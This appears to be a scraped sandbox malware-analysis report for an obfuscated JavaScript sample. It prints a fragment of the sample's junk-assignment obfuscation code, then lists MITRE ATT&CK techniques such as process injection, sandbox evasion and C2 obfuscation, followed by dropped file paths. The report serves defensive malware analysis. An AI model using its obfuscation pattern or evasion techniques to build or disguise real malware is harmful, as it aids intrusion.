1298	rdrbgbhz = "P";
1299	rdrbgbhz = "1";
1300	jeaht = "f";
1301	jeaht = "V";
1302	jeaht = "H";
1303	jeaht = "O";
1304	jeaht = "p";
1305	jeaht = "p";
1306	jeaht = "o";
1307	jeaht = "K";
1308	jeaht = "U";
1309	jeaht = "C";
1310	jeaht = "J";
1311	jeaht = "M";
1312	jeaht = "i";
1313	jeaht = "m";
1314	jeaht = "p";
1315	jeaht = "D";
1316	jeaht = "Z";
1317	jeaht = "y";
1318	jeaht = "B";
1319	jeaht = "h";
1320	jeaht = "B";
1321	jeaht = "F";
1322	jeaht = "f";
1323	jeaht = "K";
1324	jeaht = "k";
1325	jeaht = "i";
1326	jeaht = "C";
1327	jeaht = "v";
1328	jeaht = "W";
1329	jeaht = "c";
1330	jeaht = "t";
1331	jeaht = "r";
1332	jeaht = "l";
1333	jeaht = "c";
1334	jeaht = "F";
1335	jeaht = "g";
1336	jeaht = "q";
1337	ixranh = "x";
1338	ixranh = "Q";
1339	ixranh = "M";
1340	ixranh = "s";
1341	ixranh = "c";
1342	ixranh = "I";
1343	ixranh = "w";
1344	ixranh = "E";
1345	ixranh = "U";
1346	ixranh = "s";
1347	ixranh = "K";
1348	ixranh = "H";
1349	ixranh = "F";
1350	ixranh = "P";
1351	ixranh = "T";
1352	ixranh = "o";
1353	ixranh = "M";
1354	ixranh = "y";
1355	ixranh = "X";
1356	ixranh = "p";
1357	ixranh = "a";
1358	ixranh = "W";
1359	ixranh = "T";
1360	ixranh = "z";
1361	ixranh = "X";
1362	ixranh = "l";
1363	ixranh = "g";
1364	ixranh = "J";
1365	ixranh = "q";
1366	ixranh = "Q";
1367	ixranh = "Q";
1368	ixranh = "E";
1369	ixranh = "C";
1370	ixranh = "A";
1371	ixranh = "O";
1372	ixranh = "S";
1373	ixranh = "c";
1374	ixranh = "X";
1375	ixranh = "g";
1376	ixranh = "a";
1377	ixranh = "b";
1378	ixranh = "n";
1379	ixranh = "c";
1380	ixranh = "8";
1381	tgtzfmctg ( );	tgtzfmctg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 248185965269371196.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\18789a9d-a09a-4ff2-b693-418d6bba282e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7828

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
248185965269371196.js